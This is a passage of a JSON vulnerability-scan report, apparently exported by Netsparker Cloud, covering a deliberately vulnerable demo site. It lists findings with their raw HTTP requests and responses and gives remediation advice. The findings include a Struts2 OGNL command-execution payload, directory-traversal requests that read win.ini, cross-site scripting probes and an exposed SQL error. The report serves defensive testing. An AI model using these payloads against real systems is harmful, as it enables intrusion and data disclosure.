java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b\r\n--807a09bcdff6488481b5a5661bf0620e--\r\n","Parameters":[{"Name":"ns","Type":"Post","Value":"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='22').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\u0000b","Vulnerable":true}]},"HttpResponse":{"StatusCode":500,"Duration":93.7539,"Content":"HTTP/1.1 500 Internal Server Error\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 509\r\nContent-Type: application/soap+xml; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:08:47 GMT\r\nCache-Control: private\r\n\r\nsoap:ReceiverServer was unable to process request. ---> Data at the root level is invalid. Line 1, position 1."},"ExtraInformation":[{"Name":"IdentifiedErrorMessage","Value":"Server was unable to process request. ---> Data at the root level is invalid. Line 1, position 1."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a programming error message.

","Impact":"
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. data may be disclosed. Most of these issues will be identified and reported separately by Netsparker Cloud.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database, then show this number and a static user-friendly error message to the user.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/Default.aspx.bak","Type":"BackupFileFound","Name":"[Possible] Backup File Disclosure","Severity":"Low","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A7","Wasc":"34","Cwe":"530","Capec":"87","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /administrator/Default.aspx.bak HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/Default.aspx.bak\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":93.1511,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 366\r\nLast-Modified: Fri, 03 Feb 2017 10:01:06 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nDate: Wed, 23 Aug 2017 07:44:41 GMT\r\nETag: \"05d556f47ed21:0\"\r\n\r\n<%@ Page Title=\"\" Language=\"C#\" AutoEventWireup=\"true\" Inherits=\"administrator_Default\" %>\r\n\r\n<%@ Register Src=\"~/administrator/\" TagPrefix=\"uc1\" TagName=\"administratordefault\" %>\r\n\r\n\r\n\r\n \r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a possible backup file disclosure on the web server.

","Impact":"
Backup files can contain old or current versions of a file on the web server. This could include sensitive data such as password files or even the application's source code. This form of issue normally leads to further vulnerabilities or, at worst, sensitive information disclosure.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Do not store backup files on production servers.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/Default.aspx.bak","Type":"BackupSourceCodeFound","Name":"Backup Source Code Detected","Severity":"Important","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A7","Wasc":"34","Cwe":"530","Capec":"87","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /administrator/Default.aspx.bak HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/Default.aspx.bak\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":93.1511,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nContent-Length: 366\r\nLast-Modified: Fri, 03 Feb 2017 10:01:06 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nDate: Wed, 23 Aug 2017 07:44:41 GMT\r\nETag: \"05d556f47ed21:0\"\r\n\r\n<%@ Page Title=\"\" Language=\"C#\" AutoEventWireup=\"true\" Inherits=\"administrator_Default\" %>\r\n\r\n<%@ Register Src=\"~/administrator/\" TagPrefix=\"uc1\" TagName=\"administratordefault\" %>\r\n\r\n\r\n\r\n \r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected backup source code on your web server.

Identified Source Code

<asp:Content ID="contentMid" ContentPlaceHolderID="contentCenterMenu" runat="Server">
","Impact":"
Depending on the nature of the source code disclosed, an attacker can mount one or more of the following types of attacks:
  • Access the database or other data resources. With the privileges of the account obtained, attempt to read, update or delete arbitrary data from the database.
  • Access password protected administrative mechanisms such as \"dashboard\", \"management console\" and \"admin panel\" potentially leading to full control of the application.
  • Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.
","RemedialActions":"

Remove all temporary and backup files.

","ExploitationSkills":"
This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However, a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application resides on.
","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini","Type":"Lfi","Name":"Local File Inclusion","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A4","Wasc":"33","Cwe":"98","Capec":"252","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a)"},"HttpRequest":{"Method":"POST","Content":"POST /Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Help.aspx?item=help-konu1.html\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 180\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJNzMwNjU5NzA3ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkt%2b0Ef1FtRL6Gd9lX75FlKY0VhdW2RwrcO0YNBfN0BpE%3d&__VIEWSTATEGENERATOR=BDEA3729","Parameters":[{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJNzMwNjU5NzA3ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkt+0Ef1FtRL6Gd9lX75FlKY0VhdW2RwrcO0YNBfN0BpE=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"BDEA3729","Vulnerable":false},{"Name":"item","Type":"Querystring","Value":"/../../../../../../../../../../windows/win.ini","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":109.3343,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4097\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:02:24 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\nFAQ: if you want to see any answer, click to questions;\r\n\r\n
; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a local file inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Netsparker Cloud confirmed this issue by reading some files from the target web server.

Proof of Exploit

File - C:\\windows\\win.ini

; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]
","Impact":"
The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:
  • Gather usernames via an \"/etc/passwd\" file
  • Harvest useful information from the log files, such as \"/apache/logs/error.log\" or \"/apache/logs/access.log\"
  • Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
  • If you definitely need dynamic path concatenation, ensure you only accept required characters such as \"a-Z0-9\" and do not allow \"..\" or \"/\" or \"%00\" (null byte) or any other similar unexpected characters.
  • It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini","Type":"Lfi","Name":"Local File Inclusion","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A4","Wasc":"33","Cwe":"98","Capec":"252","Pci31":"6.5.8","Pci32":"6.5.8","Hipaa":"164.306(a)"},"HttpRequest":{"Method":"GET","Content":"GET /Help.aspx?item=%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Help.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"item","Type":"Querystring","Value":"/../../../../../../../../../../windows/win.ini","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":578.11840000000007,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 4097\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:01:35 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\nFAQ: if you want to see any answer, click to questions;\r\n\r\n
; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]\r\nMAPI=1\r\n
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a local file inclusion vulnerability, which occurs when a file from the target system is injected into the attacked server page.

Netsparker Cloud confirmed this issue by reading some files from the target web server.

Proof of Exploit

File - C:\\windows\\win.ini

; for 16-bit app support\r\n[fonts]\r\n[extensions]\r\n[mci extensions]\r\n[files]\r\n[Mail]
","Impact":"
The impact can vary, based on the exploitation and the read permission of the web server user. Depending on these factors, an attacker might carry out one or more of the following attacks:
  • Gather usernames via an \"/etc/passwd\" file
  • Harvest useful information from the log files, such as \"/apache/logs/error.log\" or \"/apache/logs/access.log\"
  • Remotely execute commands by combining this vulnerability with some other attack vectors, such as file upload vulnerability or log injection
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • If possible, do not permit appending file paths directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
  • If you definitely need dynamic path concatenation, ensure you only accept required characters such as \"a-Z0-9\" and do not allow \"..\" or \"/\" or \"%00\" (null byte) or any other similar unexpected characters.
  • It is important to limit the API to allow inclusion only from a directory and directories below it. This way you can ensure any potential attack cannot perform a directory traversal attack.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/ConverterResponse.aspx","Type":"PossibleXss","Name":"[Possible] Cross-site Scripting","Severity":"Medium","Certainty":70,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /ConverterResponse.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nOrigin: http://testsparker.com\r\nReferer: http://testsparker.com/Converter.aspx\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nX-Requested-With: XMLHttpRequest\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 76\r\nContent-Type: application/json; charset=UTF-8\r\n\r\n{\"btcAmount\":\"'\\\"-->\"}","Parameters":[{"Name":"btcAmount","Type":"Json","Value":"'\"-->","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":578.1249,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 1897\r\nContent-Type: application/json; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:00:42 GMT\r\nCache-Control: private\r\n\r\nUnclosed quotation mark after the character string '\"-->),BtcValueForUsd from tblbtcvalues order by newid() '.\r\nIncorrect syntax near '\"-->),BtcValueForUsd from tblbtcvalues order by newid() '. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)\r\n at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)\r\n at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)\r\n at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData()\r\n at System.Data.SqlClient.SqlDataReader.get_MetaData()\r\n at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, SqlDataReader ds)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite)\r\n at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)\r\n at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method)\r\n at System.Data.SqlClient.SqlCommand.ExecuteReader()\r\n at UserControls_Vulnerabilities_converterResponse_AjaxJsonSqlInjection.Page_Load(Object sender, EventArgs e)"},"ExtraInformation":[{"Name":"Notes","Value":"To exploit the XSS vulnerability on this page client might require to send certain HTTP headers. Therefore it might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed."}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected possible cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

Although Netsparker Cloud believes there is a cross-site scripting in here, it could not confirm it. We strongly recommend investigating the issue manually to ensure it is cross-site scripting and needs to be addressed.

","Impact":"
There are many different attacks that can be leveraged through the use of XSS, including:
  • Hijacking user's active session.
  • Changing the look of the page within the victim's browser.
  • Mounting a successful phishing attack.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

This issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured whitelist libraries available for many different environments. Good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/redirect.aspx?site=[ns](javascript:netsparker(0x00114F);)","Type":"PossibleXss","Name":"[Possible] Cross-site Scripting","Severity":"Medium","Certainty":75,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /redirect.aspx?site=[ns](javascript:netsparker(0x00114F);) HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"site","Type":"Querystring","Value":"[ns](javascript:netsparker(0x00114F);)","Vulnerable":true}]},"HttpResponse":{"StatusCode":302,"Duration":100.6577,"Content":"HTTP/1.1 302 Found\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 166\r\nContent-Type: text/html; charset=utf-8\r\nLocation: http://www.[ns](javascript:netsparker(0x00114F);)\r\nDate: Wed, 23 Aug 2017 07:47:26 GMT\r\nCache-Control: private\r\n\r\nObject moved\r\n

Object moved to here.

\r\n\r\n"},"ExtraInformation":[{"Name":"Notes","Value":"This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed."},{"Name":"Proof URL","Value":"http://testsparker.com/redirect.aspx?site=[ns](javascript:alert(0x00114F);)"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected possible cross-site scripting, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

Although Netsparker Cloud believes there is a cross-site scripting in here, it could not confirm it. We strongly recommend investigating the issue manually to ensure it is cross-site scripting and needs to be addressed.

","Impact":"
There are many different attacks that can be leveraged through the use of XSS, including:
  • Hijacking user's active session.
  • Changing the look of the page within the victim's browser.
  • Mounting a successful phishing attack.
  • Intercepting data and performing man-in-the-middle attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

This issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured whitelist libraries available for many different environments. Good examples of these include OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx","Type":"PossiblePermanentXss","Name":"[Possible] Stored Cross-site Scripting","Severity":"Important","Certainty":70,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A3","Wasc":"8","Cwe":"79","Capec":"19","Pci31":"6.5.7","Pci32":"6.5.7","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"POST","Content":"POST /GuestbookList.aspx HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nX-HTTP-Method-Override: GET\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 124\r\nContent-Type: text/xml\r\n\r\n]>&lfi;","Parameters":[]},"HttpResponse":{"StatusCode":200,"Duration":1719.4459000000002,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 814822\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\